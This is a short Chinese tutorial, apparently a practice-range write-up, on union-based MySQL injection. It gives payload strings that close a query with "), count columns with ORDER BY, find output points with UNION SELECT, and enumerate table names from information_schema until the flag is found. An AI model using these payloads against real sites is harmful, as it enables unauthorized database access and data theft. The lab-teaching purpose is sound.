MYSQL显错注入演示

靶场题目:
MYSQL显错注入演示
注意闭合
用”)进行闭合 进行闭合后就不再是字符串,输入的数据可以被当成代码执行 id=() 闭合了前括号, 还有注释掉后面的后括号,用-- qwe 主要是为了保留横横后面的空格,因为可以自动去除空格后的内容,就去掉了后括号
步骤

")order by 3 -- qwe
") union select 1,2,3 -- qwe
“) and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1— qwe

MYSQL显错注入演示

输出点:

") union select 1,2,3 – qwe
1,2,3是字段的占位符,代表有三个字段,回显是2,3 说明有两个输出点。三个字段能够输出数据的只有2个
eg:’)union select 4,5,6,7,8,9 – qwe 回显是5,说明就只有一个输出点
,下一条语句就可以写成and 1=2 union select 1,table_name from infoamtion_schema.table…
数字只是占位,但是必须写

然后就可以写“) and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1— qwe
MYSQL显错注入演示
这样就找到了表名
接下来找字段名
MYSQL显错注入演示
最后一步找想要的数据
MYSQL显错注入演示

嘿嘿 找到flag

union :

直接写select 1,2,3 不符合语法规则
union select 1,2,3 中的union 是联合查询的意思,前面一条数据会优先返回,所以可以写一个 and 1=2 让前面的返回值为空,进而返回我们后面写的语句
但是也可以不用写 and 1=2 直接把id=1 改成一个不可能的数字 可以写成这样:eg :id=0.99999 之类的

上一篇:js不改变原数组的情况下取数值数组的最大值和最小值


下一篇:1.搭建Redis运行环境